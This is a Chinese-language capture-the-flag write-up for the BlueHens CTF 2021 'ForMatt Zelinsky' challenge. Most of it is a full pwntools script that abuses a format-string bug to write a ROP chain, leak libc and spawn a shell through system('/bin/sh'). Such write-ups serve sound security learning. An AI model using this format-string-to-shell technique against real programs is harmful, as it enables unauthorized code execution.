BlueHens CTF 2021 --- ForMatt Zelinsky writeup
ida看下程序逻辑:
这是一道格式化字符串的题,并且给了栈址和pie基址
我以为我可以秒它,直到我发现脚本越写越多
思路就是在返回地址写rop,注意一定要加ret,因为远程的环境可能是ubuntu 20
先写rop拿libc地址,然后再写rop拿shell
要注意的问题是,写好自动判断各个地址前四位后四位大小的脚本,方便生成与之对应的payload
利用脚本如下:
from pwn import * context.log_level="debug" sh=process("./formatz") #sh=gdb.debug("./formatz") libc=ELF("./lib/libc.so.6") #libc=ELF("./local_libc.so") ''' sh=remote("challenges.ctfd.io",30042) libc=ELF("./libc.so") ''' sh.recvuntil("0x") stack_s=int(sh.recv(12),16) sh.recvuntil("0x") pie=int(sh.recv(12),16)-0x11a8 pop_rdi=pie+0x12bb printf_got=pie+0x4020 main=pie+0x11a8 ret=pie+0x1016 arr={ #int(hex(ret)[2:6],16):"%18$n", #int(hex(ret)[6:10],16):"%17$hn", int(hex(ret)[10:14],16):"%16$hn", int(hex(main)[2:6],16):"%21$n", int(hex(main)[6:10],16):"%20$hn", int(hex(main)[10:14],16):"%19$hn"} sort_arr=[int(hex(main)[2:6],16),int(hex(main)[6:10],16),int(hex(main)[10:14],16), int(hex(ret)[10:14],16)] sort_arr.sort() payload="%"+str(sort_arr[0])+"c"+arr[sort_arr[0]] if (sort_arr[0]==int(hex(ret)[2:6],16)):payload+="%18$n" if (sort_arr[0]==int(hex(ret)[6:10],16)):payload+="%17$hn" for i in range(1,4): payload+="%"+str(sort_arr[i]-sort_arr[i-1])+"c"+arr[sort_arr[i]] if (sort_arr[i]==int(hex(ret)[2:6],16)):payload+="%18$n" if (sort_arr[i]==int(hex(ret)[6:10],16)):payload+="%17$hn" payload+='%49$p' payload=(payload.ljust(0x50,'a')).encode() payload+=p64(stack_s+0x158)+p64(stack_s+0x15a)+p64(stack_s+0x15c) payload+=p64(stack_s+0x160)+p64(stack_s+0x162)+p64(stack_s+0x164) print(payload) sh.sendlineafter("payload",payload) sh.recvuntil("0x") #libc_start_main=int(sh.recv(12),16)-240 libc_start_main=int(sh.recv(12),16)-235 libc_base=libc_start_main-libc.sym['__libc_start_main'] sys=libc_base+libc.sym['system'] binsh=libc_base+0x17d0d1 #binsh=libc_base+0x18ce17 info(hex(libc_base)) print("----------") info(hex(ret)) info(hex(main)) info(hex(sys)) pause() arr={ #int(hex(ret)[2:6],16):"%26$n", #int(hex(ret)[6:10],16):"%25$hn", int(hex(ret)[10:14],16):"%24$hn", int(hex(pop_rdi)[2:6],16):"%29$n", int(hex(pop_rdi)[6:10],16):"%28$hn", int(hex(pop_rdi)[10:14],16):"%27$hn", #int(hex(binsh)[2:6],16):"%32$n", int(hex(binsh)[6:10],16):"%31$hn", int(hex(binsh)[10:14],16):"%30$hn", int(hex(sys)[2:6],16):"%35$n", int(hex(sys)[6:10],16):"%34$hn", int(hex(sys)[10:14],16):"%33$hn" } sort_arr=[ int(hex(ret)[10:14],16), int(hex(pop_rdi)[2:6],16),int(hex(pop_rdi)[6:10],16),int(hex(pop_rdi)[10:14],16), int(hex(binsh)[6:10],16),int(hex(binsh)[10:14],16), int(hex(sys)[2:6],16),int(hex(sys)[6:10],16),int(hex(sys)[10:14],16) ] sort_arr.sort() payload="%"+str(sort_arr[0])+"c"+arr[sort_arr[0]] if (sort_arr[0]==int(hex(ret)[2:6],16)):payload+="%26$n" if (sort_arr[0]==int(hex(ret)[6:10],16)):payload+="%25$hn" if (sort_arr[0]==int(hex(binsh)[2:6],16)):payload+="%32$n" for i in range(1,9): payload+="%"+str(sort_arr[i]-sort_arr[i-1])+"c"+arr[sort_arr[i]] if (sort_arr[i]==int(hex(ret)[2:6],16)):payload+="%26$n" if (sort_arr[i]==int(hex(ret)[6:10],16)):payload+="%25$hn" if (sort_arr[i]==int(hex(binsh)[2:6],16)):payload+="%32$n" payload=(payload.ljust(0x90,'a')).encode() payload+=p64(stack_s+0x168)+p64(stack_s+0x16a)+p64(stack_s+0x16c) payload+=p64(stack_s+0x170)+p64(stack_s+0x172)+p64(stack_s+0x174) payload+=p64(stack_s+0x178)+p64(stack_s+0x17a)+p64(stack_s+0x17c) payload+=p64(stack_s+0x180)+p64(stack_s+0x182)+p64(stack_s+0x184) sh.sendlineafter("payload",payload) print("-----") info(hex(ret)) info(hex(pop_rdi)) info(hex(binsh)) info(hex(sys)) sh.interactive()